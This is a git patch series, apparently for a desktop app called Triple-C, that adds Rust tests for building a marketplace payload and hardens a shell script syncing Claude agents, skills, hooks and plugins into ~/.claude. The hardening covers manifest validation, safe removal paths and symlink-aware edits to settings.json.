inst(ItemKind::Command, "example-command", &c), + inst(ItemKind::Hook, "notify-on-stop", &c), + inst(ItemKind::Plugin, "example-plugin", &c), + ]; + let marketplaces = vec![market("m1aaaaaaaa")]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + + assert!(p.skipped.is_empty(), "{:?}", p.skipped); + let files = unpack(&p.tar); + let slug = marketplace_slug("Team Tools", "m1aaaaaaaa"); + for path in [ + "agents/code-reviewer.md".to_string(), + "skills/example-skill/SKILL.md".to_string(), + "commands/example-command.md".to_string(), + "hooks/notify-on-stop/hook.json".to_string(), + "hooks/notify-on-stop/notify.sh".to_string(), + format!("plugins/{slug}/.claude-plugin/marketplace.json"), + format!("plugins/{slug}/example-plugin/.claude-plugin/plugin.json"), + format!("plugins/{slug}/example-plugin/skills/hello/SKILL.md"), + "manifest.json".to_string(), + ] { + assert!( + files.contains_key(&path), + "missing {path}; have {:?}", + files.keys().collect::>() + ); + } + assert_eq!(files["hooks/notify-on-stop/notify.sh"].mode & 0o777, 0o755); + assert_eq!(files["agents/code-reviewer.md"].mode & 0o777, 0o644); + } + + #[test] + fn manifest_and_generated_catalog_match_the_contract() { + let Some(fx) = GitFixture::new() else { return }; + let c = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let installs = vec![ + inst(ItemKind::Hook, "notify-on-stop", &c), + inst(ItemKind::Plugin, "example-plugin", &c), + ]; + let marketplaces = vec![market("m1aaaaaaaa")]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + let slug = marketplace_slug("Team Tools", "m1aaaaaaaa"); + + let files = unpack(&p.tar); + let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap(); + assert_eq!(manifest, p.manifest); + assert_eq!(manifest["version"], 1); + let hook = &manifest["items"][0]; + assert_eq!(hook["kind"], "hook"); + assert_eq!(hook["dir"], "hooks/notify-on-stop"); + assert_eq!( + hook["settings"]["Stop"][0]["hooks"][0]["command"], + "/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh" + ); + let plugin = &manifest["items"][1]; + assert_eq!(plugin["kind"], "plugin"); + assert_eq!(plugin["slug"], slug.as_str()); + assert_eq!( + manifest["plugin_marketplaces"], + json!([{ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["example-plugin"] }]) + ); + + let catalog: Value = serde_json::from_slice( + &files[&format!("plugins/{slug}/.claude-plugin/marketplace.json")].data, + ) + .unwrap(); + assert_eq!(catalog["name"], format!("triple-c-{slug}")); + assert_eq!(catalog["owner"]["name"], "Triple-C"); + assert_eq!(catalog["plugins"][0]["name"], "example-plugin"); + assert_eq!(catalog["plugins"][0]["source"], "./example-plugin"); + } + + #[test] + fn items_that_cannot_be_built_are_skipped_not_fatal() { + let Some(fx) = GitFixture::new() else { return }; + let c = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let mut gone = inst(ItemKind::Agent, "code-reviewer", &c); + gone.marketplace_id = "removed".into(); + let installs = vec![ + gone, + inst(ItemKind::Agent, "code-reviewer", &"0".repeat(40)), + inst(ItemKind::Agent, "does-not-exist", &c), + inst(ItemKind::Command, "example-command", &c), + ]; + let marketplaces = vec![market("m1aaaaaaaa")]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + + let skipped: Vec<&str> = p.skipped.iter().map(|s| s.item.as_str()).collect(); + assert_eq!( + skipped, + vec![ + "agent:code-reviewer", + "agent:code-reviewer", + "agent:does-not-exist" + ] + ); + assert!( + p.skipped[0].reason.contains("marketplace"), + "{}", + p.skipped[0].reason + ); + assert!( + p.skipped[1].reason.contains("cache"), + "{}", + p.skipped[1].reason + ); + assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1); + } + + #[test] + fn a_second_marketplace_cannot_shadow_an_installed_name() { + let Some(fx) = GitFixture::new() else { return }; + let c = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + cache(&fx, data.path()); + let other = git::cache_path(data.path(), "m2bbbbbbbb"); + git::fetch(&other, &fx.url(), None, None).unwrap(); + let mut second = inst(ItemKind::Agent, "code-reviewer", &c); + second.marketplace_id = "m2bbbbbbbb".into(); + let installs = vec![inst(ItemKind::Agent, "code-reviewer", &c), second]; + let marketplaces = vec![market("m1aaaaaaaa"), market("m2bbbbbbbb")]; + let p = build_payload(&PayloadInput { + installs: &installs, + marketplaces: &marketplaces, + data_root: data.path(), + }) + .unwrap(); + assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1); + assert_eq!(p.skipped.len(), 1); + assert!(p.skipped[0].reason.contains("another marketplace")); + } + + #[test] + fn an_empty_install_set_still_yields_a_manifest() { + let data = tempfile::tempdir().unwrap(); + let p = build_payload(&PayloadInput { + installs: &[], + marketplaces: &[], + data_root: data.path(), + }) + .unwrap(); + assert_eq!( + p.manifest, + json!({ "version": 1, "items": [], "plugin_marketplaces": [] }) + ); + assert!(unpack(&p.tar).contains_key("manifest.json")); + } +} -- 2.52.0 From 5cbb4591fec79e394cf48b3cc2297e3e2886a3fc Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:24:16 -0700 Subject: [PATCH 18/45] Marketplace sync script: review fixes (round 1) - Validate manifest structure up front; malformed items are skipped with a reason instead of aborting extraction; an unreadable manifest changes nothing (no removals). - Empty/whitespace settings.json reads as {}; non-object settings are left untouched; hook installs/updates/removals are reported and recorded only once their entries are actually merged; mv failures are checked. - Dangling symlinks at user paths count as occupied. - Removal paths are derived from kind+key, never taken from state.json. - A symlinked settings.json is written through, not replaced. - mktemp failure emits a JSON report instead of exiting silently. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/sync.sh | 205 ++++++++++---- .../src/marketplace/sync_script_tests.rs | 263 ++++++++++++++++++ 2 files changed, 408 insertions(+), 60 deletions(-) diff --git a/app/src-tauri/src/marketplace/sync.sh b/app/src-tauri/src/marketplace/sync.sh index 06f37e4..6f2050e 100644 --- a/app/src-tauri/src/marketplace/sync.sh +++ b/app/src-tauri/src/marketplace/sync.sh @@ -35,9 +35,14 @@ if ! command -v jq >/dev/null 2>&1; then exit 0 fi -R=$(mktemp -d) || exit 2 +R=$(mktemp -d 2>/dev/null) || R="" +if [ -z "$R" ] || [ ! -d "$R" ]; then + printf '%s\n' '{"errors":["a temporary directory could not be created in the container, so marketplace items were not applied"]}' + exit 0 +fi trap 'rm -rf "$R"' EXIT -for f in installed updated removed skipped errors newstate new_slugs final_slugs; do +for f in installed updated removed skipped errors newstate new_slugs final_slugs \ + hook_pending hook_removals plugin_items; do : >"$R/$f" done @@ -89,19 +94,44 @@ claude_cmd() { owned() { jq -e --arg id "$1" '.items | has($id)' "$STATE" >/dev/null 2>&1; } prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$STATE"; } -in_manifest() { - jq -e --arg id "$1" 'any(.items[]; (.kind + ":" + .key) == $id)' "$MANIFEST" >/dev/null 2>&1 -} +# Every ":" the manifest names with string fields, well-formed or +# not: a selected item that failed this run must not be removed. +in_manifest() { grep -qxF "$1" "$R/manifest_ids"; } carry_forward() { record "$1" "$(jq -c --arg id "$1" '.items[$id]' "$STATE")"; } - -outcome() { +# $1 = installed|updated|none for this id at this commit. +outcome_of() { p=$(prev_commit "$1") if [ -z "$p" ]; then - report installed "$1" + echo installed elif [ "$p" != "$2" ]; then - report updated "$1" + echo updated + else + echo none fi } +outcome() { + o=$(outcome_of "$1" "$2") + [ "$o" = none ] || report "$o" "$1" +} +# Something is in the way at a user-owned location (dangling links included). +occupied() { [ -e "$1" ] || [ -L "$1" ]; } + +# The one place a destination is derived; removal never trusts a stored path. +item_path() { + case "$1" in + agent | command) printf '%s\n' "$CLAUDE_DIR/${1}s/$2.md" ;; + skill) printf '%s\n' "$CLAUDE_DIR/skills/$2" ;; + hook) printf '%s\n' "$BASE/hooks/$2" ;; + *) return 1 ;; + esac +} + +malformed() { + rm -rf "$WORK" + fail "$1" + emit_report + exit 0 +} # ── Unpack ─────────────────────────────────────────────────────────────────── if [ ! -f "$INCOMING/payload.tar" ]; then @@ -129,27 +159,58 @@ if [ -n "$(find "$WORK" -type l -print | head -n 1)" ]; then fi MANIFEST="$WORK/manifest.json" if ! jq -e '.version == 1' "$MANIFEST" >/dev/null 2>&1; then - fail "the payload manifest is missing or has an unsupported version" - emit_report - exit 0 + malformed "the payload manifest is missing or has an unsupported version" +fi +# Nothing is changed (and, above all, nothing removed) unless the manifest is +# structurally sound and every extraction below succeeds. +if ! jq -e '(.items | type) == "array" and (.plugin_marketplaces | type) == "array"' \ + "$MANIFEST" >/dev/null 2>&1; then + malformed "the payload manifest is malformed, so nothing was changed" +fi +# One line per item. Fields carry a "_" prefix so an empty one cannot make +# `read` shift the rest (tab is IFS whitespace); @tsv escapes tabs/newlines. +# A malformed item becomes a "bad" line instead of aborting the extraction. +if ! { + jq -r ' + .items[] + | if type == "object" and (.kind | type) == "string" and (.key | type) == "string" + and (.commit | type) == "string" + then ["ok", .kind, .key, .commit, (if (.slug | type) == "string" then .slug else "" end)] + else ["bad", + (if type == "object" then .kind | tostring else "?" end), + (if type == "object" then .key | tostring else "?" end), "", ""] + end + | map("_" + .) | @tsv' "$MANIFEST" >"$R/items.tsv" && + jq -r '.items[] | objects | select((.kind | type) == "string" and (.key | type) == "string") + | [.kind + ":" + .key] | @tsv' "$MANIFEST" >"$R/manifest_ids" && + jq -r '.plugin_marketplaces[] + | if type == "object" and (.slug | type) == "string" then .slug else "" end + | [.] | @tsv' "$MANIFEST" >"$R/new_slugs" +}; then + malformed "the payload manifest could not be read, so nothing was changed" fi if ! jq -e '(.items | type) == "object"' "$STATE" >/dev/null 2>&1; then printf '%s\n' '{"version":1,"items":{},"plugin_marketplaces":[]}' >"$STATE" fi # ── Agents, skills, commands, hooks ────────────────────────────────────────── -jq -r '.items[] | select(.kind != "plugin") | [.kind, .key, .commit] | @tsv' "$MANIFEST" >"$R/items.tsv" -while IFS="$TAB" read -r kind key commit; do +while IFS="$TAB" read -r status kind key commit slug; do + status=${status#_} kind=${kind#_} key=${key#_} commit=${commit#_} slug=${slug#_} id="$kind:$key" + if [ "$status" != ok ]; then skip "$id" "malformed manifest entry"; continue; fi if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi case "$kind" in + plugin) + # Applied per plugin marketplace below. + printf '%s\t%s\t%s\n' "_$key" "_$commit" "_$slug" >>"$R/plugin_items" + ;; agent | command) dir="$CLAUDE_DIR/${kind}s" src="$WORK/${kind}s/$key.md" - dest="$dir/$key.md" + dest=$(item_path "$kind" "$key") if [ ! -f "$src" ]; then fail "$id: missing from the payload"; continue; fi - if [ -e "$dest" ] && ! owned "$id"; then + if occupied "$dest" && ! owned "$id"; then skip "$id" "~/.claude/${kind}s/$key.md already exists and was not installed by Triple-C" continue fi @@ -164,9 +225,9 @@ while IFS="$TAB" read -r kind key commit; do skill) dir="$CLAUDE_DIR/skills" src="$WORK/skills/$key" - dest="$dir/$key" + dest=$(item_path skill "$key") if [ ! -d "$src" ]; then fail "$id: missing from the payload"; continue; fi - if [ -e "$dest" ] && ! owned "$id"; then + if occupied "$dest" && ! owned "$id"; then skip "$id" "~/.claude/skills/$key already exists and was not installed by Triple-C" continue fi @@ -179,9 +240,9 @@ while IFS="$TAB" read -r kind key commit; do ;; hook) src="$WORK/hooks/$key" - dest="$BASE/hooks/$key" + dest=$(item_path hook "$key") entries=$(jq -c --arg k "$key" \ - 'first(.items[] | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST") + 'first(.items[] | objects | select(.kind == "hook" and .key == $k) | .settings) // {}' "$MANIFEST") if ! printf '%s' "$entries" | jq -e 'type == "object" and all(.[]; type == "array")' >/dev/null 2>&1; then skip "$id" "its hook settings are not an object of arrays" continue @@ -191,7 +252,8 @@ while IFS="$TAB" read -r kind key commit; do fail "$id: could not write $dest" continue fi - outcome "$id" "$commit" + # Reported only once its entries are in settings.json (see below). + printf '%s\t%s\n' "$(outcome_of "$id" "$commit")" "$id" >>"$R/hook_pending" record "$id" "$(jq -cn --arg c "$commit" --arg p "$dest" --argjson e "$entries" \ '{commit: $c, path: $p, entries: $e}')" ;; @@ -209,14 +271,18 @@ while read -r id; do if grep -qxF "$id" "$R/new_ids"; then continue; fi # Still selected but failed this run: keep the old files and record. if in_manifest "$id"; then carry_forward "$id"; continue; fi - path=$(jq -r --arg id "$id" '.items[$id].path // ""' "$STATE") - case "$path" in - */../* | */..) fail "$id: refusing to remove unexpected path $path" ;; - "$CLAUDE_DIR"/*) - if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi - ;; - *) fail "$id: refusing to remove unexpected path $path" ;; - esac + kind=${id%%:*} + key=${id#*:} + if ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then + fail "$id: dropped an unrecognised record from the marketplace state" + continue + fi + if [ "$kind" = hook ]; then + # Removed once its entries are out of settings.json (see below). + printf '%s\n' "$id" >>"$R/hook_removals" + continue + fi + if rm -rf "$path"; then report removed "$id"; else fail "$id: could not remove $path"; fi done <"$R/old_ids" # ── Hook entries in settings.json ──────────────────────────────────────────── @@ -227,43 +293,64 @@ OLD_HOOKS=$(jq -c "[.items[]] | $MERGE_ENTRIES" "$STATE") NEW_HOOKS=$(cut -f2- "$R/newstate" | jq -cs "$MERGE_ENTRIES") HOOKS_FAILED=0 if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then - if [ -f "$SETTINGS" ]; then - current="$SETTINGS" - else - printf '{}\n' >"$R/empty.json" - current="$R/empty.json" + # A dotfiles symlink stays a symlink: write through to its target. + target="$SETTINGS" + if [ -L "$SETTINGS" ]; then + target=$(readlink -f "$SETTINGS" 2>/dev/null) || target="" fi + tmp="$target.tmp.$$" # settings.json may hold secrets and the entrypoint keeps it 0600: create # the replacement private and keep it that way (pre-flight N11). saved_umask=$(umask) umask 077 - if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" ' - def remove_first($x): - (to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i - | if $i == null then . else del(.[$i]) end; - reduce ($old | to_entries[]) as $ev (.; - if (.hooks[$ev.key] | type) == "array" - then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g)) - else . end) - | reduce ($new | to_entries[]) as $ev (.; - .hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value)) - | if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end - | if .hooks == {} then del(.hooks) else . end - ' "$current" >"$SETTINGS.tmp.$$"; then - mv -f "$SETTINGS.tmp.$$" "$SETTINGS" - chmod 600 "$SETTINGS" - else - rm -f "$SETTINGS.tmp.$$" + if [ -z "$target" ] || { [ -e "$target" ] && [ ! -f "$target" ]; }; then HOOKS_FAILED=1 - fail "~/.claude/settings.json is not valid JSON, so hook changes were not applied" + fail "~/.claude/settings.json is not a regular file, so hook changes were not applied" + elif [ -f "$target" ] && ! jq -s ' + if length == 0 then {} + elif length == 1 and (.[0] | type) == "object" then .[0] + else error("not a JSON object") end' "$target" >"$R/current.json" 2>/dev/null; then + HOOKS_FAILED=1 + fail "~/.claude/settings.json is not a JSON object, so hook changes were not applied" + else + # Missing, empty and whitespace-only files all read as {}. + [ -f "$target" ] || printf '{}\n' >"$R/current.json" + if jq --argjson old "$OLD_HOOKS" --argjson new "$NEW_HOOKS" ' + def remove_first($x): + (to_entries | map(select(.value == $x)) | first(.[].key) // null) as $i + | if $i == null then . else del(.[$i]) end; + reduce ($old | to_entries[]) as $ev (.; + if (.hooks[$ev.key] | type) == "array" + then reduce $ev.value[] as $g (.; .hooks[$ev.key] |= remove_first($g)) + else . end) + | reduce ($new | to_entries[]) as $ev (.; + .hooks[$ev.key] = ((.hooks[$ev.key] // []) + $ev.value)) + | if (.hooks | type) == "object" then .hooks |= with_entries(select(.value != [])) else . end + | if .hooks == {} then del(.hooks) else . end + ' "$R/current.json" >"$tmp" 2>/dev/null && + jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 && + mv -f "$tmp" "$target"; then + chmod 600 "$target" + else + rm -f "$tmp" + HOOKS_FAILED=1 + fail "~/.claude/settings.json could not be updated, so hook changes were not applied" + fi fi umask "$saved_umask" fi +if [ "$HOOKS_FAILED" = 0 ]; then + while IFS="$TAB" read -r o id; do + [ "$o" = none ] || report "$o" "$id" + done <"$R/hook_pending" + while read -r id; do + key=${id#hook:} + if rm -rf "$(item_path hook "$key")"; then report removed "$id"; else fail "$id: could not remove its files"; fi + done <"$R/hook_removals" +fi # ── Plugins ────────────────────────────────────────────────────────────────── jq -r '.plugin_marketplaces[]?' "$STATE" >"$R/old_slugs" -# @tsv escapes newlines and tabs, so one hostile slug stays one (invalid) line. -jq -r '.plugin_marketplaces[] | [.slug] | @tsv' "$MANIFEST" >"$R/new_slugs" while read -r slug; do if ! valid_slug "$slug"; then fail "invalid plugin marketplace name"; continue; fi mname="triple-c-$slug" @@ -278,12 +365,10 @@ while read -r slug; do claude_cmd plugin marketplace update "$mname" || { fail "$mname: could not be registered"; continue; } fi printf '%s\n' "$slug" >>"$R/final_slugs" - jq -r --arg s "$slug" '.items[] | select(.kind == "plugin" and .slug == $s) | [.key, .commit] | @tsv' \ - "$MANIFEST" >"$R/plugins.tsv" - while IFS="$TAB" read -r key commit; do + while IFS="$TAB" read -r key commit pslug; do + key=${key#_} commit=${commit#_} pslug=${pslug#_} + [ "$pslug" = "$slug" ] || continue id="plugin:$key" - if ! valid_key "$key"; then skip "$id" "invalid item name"; continue; fi - if ! valid_commit "$commit"; then skip "$id" "invalid commit"; continue; fi p=$(prev_commit "$id") if [ -z "$p" ]; then claude_cmd plugin install "$key@$mname" || { fail "$id: install failed"; continue; } @@ -294,7 +379,7 @@ while read -r slug; do report updated "$id" fi record "$id" "$(jq -cn --arg c "$commit" --arg s "$slug" '{commit: $c, slug: $s}')" - done <"$R/plugins.tsv" + done <"$R/plugin_items" done <"$R/new_slugs" # Plugins no longer selected. diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs index 664ef6b..72968ea 100644 --- a/app/src-tauri/src/marketplace/sync_script_tests.rs +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -93,9 +93,15 @@ fn run(env: &Env) -> SyncReport { /// Run the script under a specific shell (`sh` is dash on Ubuntu). fn run_with(env: &Env, shell: &str) -> SyncReport { + run_full(env, shell, &[]) +} + +/// Run the script with extra environment variables. +fn run_full(env: &Env, shell: &str, extra: &[(&str, &str)]) -> SyncReport { let out = Command::new(shell) .arg(&env.script) .env_clear() + .envs(extra.iter().copied()) .env("HOME", &env.home) .env( "PATH", @@ -588,3 +594,260 @@ fn sync_skips_user_owned_skill_and_command() { assert_eq!(fs::read_to_string(&skill).unwrap(), "mine\n"); assert_eq!(fs::read_to_string(&command).unwrap(), "mine\n"); } + +// ── Review fix round 1 ────────────────────────────────────────────────────── + +fn install_all(env: &Env) { + let (files, manifest) = all_kinds(C1); + payload(env, &files, manifest); + let r = run(env); + assert_eq!(r.installed.len(), 4, "{r:?}"); +} + +fn assert_all_installed(env: &Env) { + let claude = env.home.join(".claude"); + assert!(claude.join("agents/code-reviewer.md").is_file()); + assert!(claude.join("skills/example-skill/SKILL.md").is_file()); + assert!(claude.join("commands/example-command.md").is_file()); + assert!(claude + .join("triple-c/hooks/notify-on-stop/notify.sh") + .is_file()); +} + +#[test] +fn sync_malformed_item_neither_aborts_nor_removes() { + let Some(env) = env() else { return }; + install_all(&env); + + // Malformed entries first, then the valid ones; the still-selected agent + // has a non-string commit. + let (files, mut manifest) = all_kinds(C1); + manifest["items"][0]["commit"] = json!(7); + let items = manifest["items"].as_array().unwrap().clone(); + let mut all = vec![ + json!({ "kind": "agent", "key": { "x": 1 }, "marketplace": "m1", "commit": C1 }), + json!(5), + json!({ "kind": ["agent"], "key": "k", "marketplace": "m1", "commit": C1 }), + json!({ "kind": "plugin", "key": { "y": 1 }, "marketplace": "m1", "commit": C1, "slug": SLUG }), + ]; + all.extend(items); + manifest["items"] = Value::Array(all); + payload(&env, &files, manifest); + + let r = run(&env); + + assert!(r.removed.is_empty(), "{r:?}"); + assert!(r.errors.is_empty(), "{r:?}"); + assert_all_installed(&env); + let skipped = r + .skipped + .iter() + .map(|s| s.item.as_str()) + .collect::>(); + assert!(skipped.contains(&"agent:code-reviewer"), "{r:?}"); + assert_eq!(r.skipped.len(), 5, "{r:?}"); + + // The carried-forward record is still owned: deselecting removes it. + payload(&env, &[], empty_manifest()); + let r = run(&env); + assert_eq!(r.removed.len(), 4, "{r:?}"); +} + +#[test] +fn sync_structurally_bad_manifest_removes_nothing() { + let Some(env) = env() else { return }; + install_all(&env); + for bad in [ + json!({ "version": 1 }), + json!({ "version": 1, "items": {}, "plugin_marketplaces": [] }), + json!({ "version": 1, "items": [], "plugin_marketplaces": "x" }), + ] { + payload(&env, &[], bad.clone()); + let r = run(&env); + assert!(r.removed.is_empty(), "{bad}: {r:?}"); + assert_eq!(r.errors.len(), 1, "{bad}: {r:?}"); + assert_all_installed(&env); + } + // State survived: a real deselection still removes everything. + payload(&env, &[], empty_manifest()); + assert_eq!(run(&env).removed.len(), 4); +} + +#[test] +fn sync_treats_blank_settings_as_empty() { + let Some(env) = env() else { return }; + let settings_path = env.home.join(".claude/settings.json"); + fs::create_dir_all(settings_path.parent().unwrap()).unwrap(); + fs::write(&settings_path, " \n\t\n").unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + assert!(r.errors.is_empty(), "{r:?}"); + assert!( + r.installed.contains(&"hook:notify-on-stop".to_string()), + "{r:?}" + ); + assert_eq!(read_json(&settings_path)["hooks"], hook_settings()); +} + +#[test] +fn sync_does_not_report_hooks_it_could_not_wire() { + let Some(env) = env() else { return }; + let settings_path = env.home.join(".claude/settings.json"); + fs::create_dir_all(settings_path.parent().unwrap()).unwrap(); + for bad in ["[1]", "{\"a\":", "{} {}"] { + fs::write(&settings_path, bad).unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + let r = run(&env); + assert!( + !r.installed.contains(&"hook:notify-on-stop".to_string()), + "{bad}: {r:?}" + ); + assert_eq!(r.errors.len(), 1, "{bad}: {r:?}"); + assert_eq!( + fs::read_to_string(&settings_path).unwrap(), + bad, + "left untouched" + ); + } + // Once settings.json is fixed the hook is installed for real. + fs::write(&settings_path, "{}").unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + let r = run(&env); + assert_eq!(r.installed, vec!["hook:notify-on-stop"], "{r:?}"); + assert_eq!(read_json(&settings_path)["hooks"], hook_settings()); +} + +#[cfg(unix)] +#[test] +fn sync_skips_dangling_user_symlinks() { + use std::os::unix::fs::symlink; + let Some(env) = env() else { return }; + let claude = env.home.join(".claude"); + let agent = claude.join("agents/code-reviewer.md"); + let skill = claude.join("skills/example-skill"); + for p in [&agent, &skill] { + fs::create_dir_all(p.parent().unwrap()).unwrap(); + symlink("/nonexistent/dotfiles/target", p).unwrap(); + } + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + let skipped = sorted(r.skipped.iter().map(|s| s.item.clone()).collect()); + assert_eq!( + skipped, + vec!["agent:code-reviewer", "skill:example-skill"], + "{r:?}" + ); + for p in [&agent, &skill] { + assert_eq!( + fs::read_link(p).unwrap(), + Path::new("/nonexistent/dotfiles/target") + ); + } +} + +#[test] +fn sync_removal_never_uses_paths_from_state() { + let Some(env) = env() else { return }; + install_all(&env); + let claude = env.home.join(".claude"); + let keep = claude.join("keep.txt"); + fs::write(&keep, "keep").unwrap(); + let state_path = claude.join("triple-c/marketplace/state.json"); + let mut state = read_json(&state_path); + state["items"]["agent:code-reviewer"]["path"] = json!(format!("{}/", claude.display())); + state["items"]["skill:example-skill"]["path"] = + json!(format!("{}/.claude", env.home.display())); + state["items"]["command:example-command"]["path"] = json!(keep.display().to_string()); + fs::write(&state_path, state.to_string()).unwrap(); + + payload(&env, &[], empty_manifest()); + let r = run(&env); + + assert_eq!(r.removed.len(), 4, "{r:?}"); + assert_eq!(fs::read_to_string(&keep).unwrap(), "keep"); + assert!(!claude.join("agents/code-reviewer.md").exists()); + assert!(!claude.join("skills/example-skill").exists()); + assert!(!claude.join("commands/example-command.md").exists()); +} + +#[cfg(unix)] +#[test] +fn sync_writes_through_a_symlinked_settings_json() { + use std::os::unix::fs::symlink; + let Some(env) = env() else { return }; + let dotfiles = env.home.join("dotfiles/settings.json"); + fs::create_dir_all(dotfiles.parent().unwrap()).unwrap(); + fs::write(&dotfiles, r#"{"model":"opus"}"#).unwrap(); + let settings_path = env.home.join(".claude/settings.json"); + fs::create_dir_all(settings_path.parent().unwrap()).unwrap(); + symlink(&dotfiles, &settings_path).unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + assert!(r.errors.is_empty(), "{r:?}"); + assert!( + fs::symlink_metadata(&settings_path) + .unwrap() + .file_type() + .is_symlink(), + "link kept" + ); + let merged = read_json(&dotfiles); + assert_eq!(merged["model"], "opus"); + assert_eq!(merged["hooks"], hook_settings()); +} + +#[test] +fn sync_reports_when_mktemp_fails() { + let Some(env) = env() else { return }; + let r = run_full(&env, "sh", &[("TMPDIR", "/nonexistent/triple-c-tmp")]); + assert_eq!(r.errors.len(), 1, "{r:?}"); +} + +#[cfg(unix)] +#[test] +fn sync_settings_move_failure_is_reported_and_not_recorded() { + use std::os::unix::fs::PermissionsExt; + let Some(env) = env() else { return }; + // An `mv` that refuses to replace settings.json and delegates otherwise. + let mv = env.stub_dir.join("mv"); + fs::write( + &mv, + "#!/bin/sh\nfor a; do last=$a; done\ncase \"$last\" in */settings.json) exit 1 ;; esac\nexec /bin/mv \"$@\"\n", + ) + .unwrap(); + fs::set_permissions(&mv, fs::Permissions::from_mode(0o755)).unwrap(); + let (files, manifest) = all_kinds(C1); + payload(&env, &files, manifest); + + let r = run(&env); + + assert_eq!(r.errors.len(), 1, "{r:?}"); + assert!( + !r.installed.contains(&"hook:notify-on-stop".to_string()), + "{r:?}" + ); + let claude = env.home.join(".claude"); + assert!(!claude.join("settings.json").exists()); + let leftovers: Vec<_> = fs::read_dir(&claude) + .unwrap() + .filter_map(|e| e.ok()) + .filter(|e| e.file_name().to_string_lossy().contains(".tmp.")) + .collect(); + assert!(leftovers.is_empty(), "temp file cleaned up"); + let state = read_json(&claude.join("triple-c/marketplace/state.json")); + assert!( + state["items"].get("hook:notify-on-stop").is_none(), + "{state}" + ); +} -- 2.52.0 From 7fb2190211b935b366f6b0498bd3d7643d2bac08 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:27:10 -0700 Subject: [PATCH 19/45] Marketplace sync script: review fixes (round 2) Removal only derives a path from an exact : state id with a known kind; any other record is dropped with an error and nothing is deleted (an id like "skill" used to remove ~/.claude/skills/skill). Invalid plugin records are dropped too, and a failed chmod 600 on settings.json is reported. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/sync.sh | 22 ++++++++++--- .../src/marketplace/sync_script_tests.rs | 33 +++++++++++++++++++ 2 files changed, 50 insertions(+), 5 deletions(-) diff --git a/app/src-tauri/src/marketplace/sync.sh b/app/src-tauri/src/marketplace/sync.sh index 6f2050e..381419d 100644 --- a/app/src-tauri/src/marketplace/sync.sh +++ b/app/src-tauri/src/marketplace/sync.sh @@ -271,9 +271,16 @@ while read -r id; do if grep -qxF "$id" "$R/new_ids"; then continue; fi # Still selected but failed this run: keep the old files and record. if in_manifest "$id"; then carry_forward "$id"; continue; fi - kind=${id%%:*} - key=${id#*:} - if ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then + # Only an exact ":" with a known kind names a path; anything + # else in state is dropped without deleting anything. + case "$id" in + agent:* | skill:* | command:* | hook:*) + kind=${id%%:*} + key=${id#*:} + ;; + *) kind="" key="" ;; + esac + if [ -z "$kind" ] || ! valid_key "$key" || ! path=$(item_path "$kind" "$key"); then fail "$id: dropped an unrecognised record from the marketplace state" continue fi @@ -330,7 +337,8 @@ if [ "$OLD_HOOKS" != "{}" ] || [ "$NEW_HOOKS" != "{}" ]; then ' "$R/current.json" >"$tmp" 2>/dev/null && jq -e 'type == "object"' "$tmp" >/dev/null 2>&1 && mv -f "$tmp" "$target"; then - chmod 600 "$target" + chmod 600 "$target" || + fail "~/.claude/settings.json was updated but could not be made private (chmod 600)" else rm -f "$tmp" HOOKS_FAILED=1 @@ -389,7 +397,11 @@ while read -r id; do if in_manifest "$id"; then carry_forward "$id"; continue; fi key=${id#plugin:} slug=$(jq -r --arg id "$id" '.items[$id].slug // ""' "$STATE") - if valid_key "$key" && valid_slug "$slug" && claude_cmd plugin uninstall "$key@triple-c-$slug"; then + if ! valid_key "$key" || ! valid_slug "$slug"; then + fail "$id: dropped an unrecognised record from the marketplace state" + continue + fi + if claude_cmd plugin uninstall "$key@triple-c-$slug"; then report removed "$id" else fail "$id: uninstall failed" diff --git a/app/src-tauri/src/marketplace/sync_script_tests.rs b/app/src-tauri/src/marketplace/sync_script_tests.rs index 72968ea..a0606af 100644 --- a/app/src-tauri/src/marketplace/sync_script_tests.rs +++ b/app/src-tauri/src/marketplace/sync_script_tests.rs @@ -851,3 +851,36 @@ fn sync_settings_move_failure_is_reported_and_not_recorded() { "{state}" ); } + +#[test] +fn 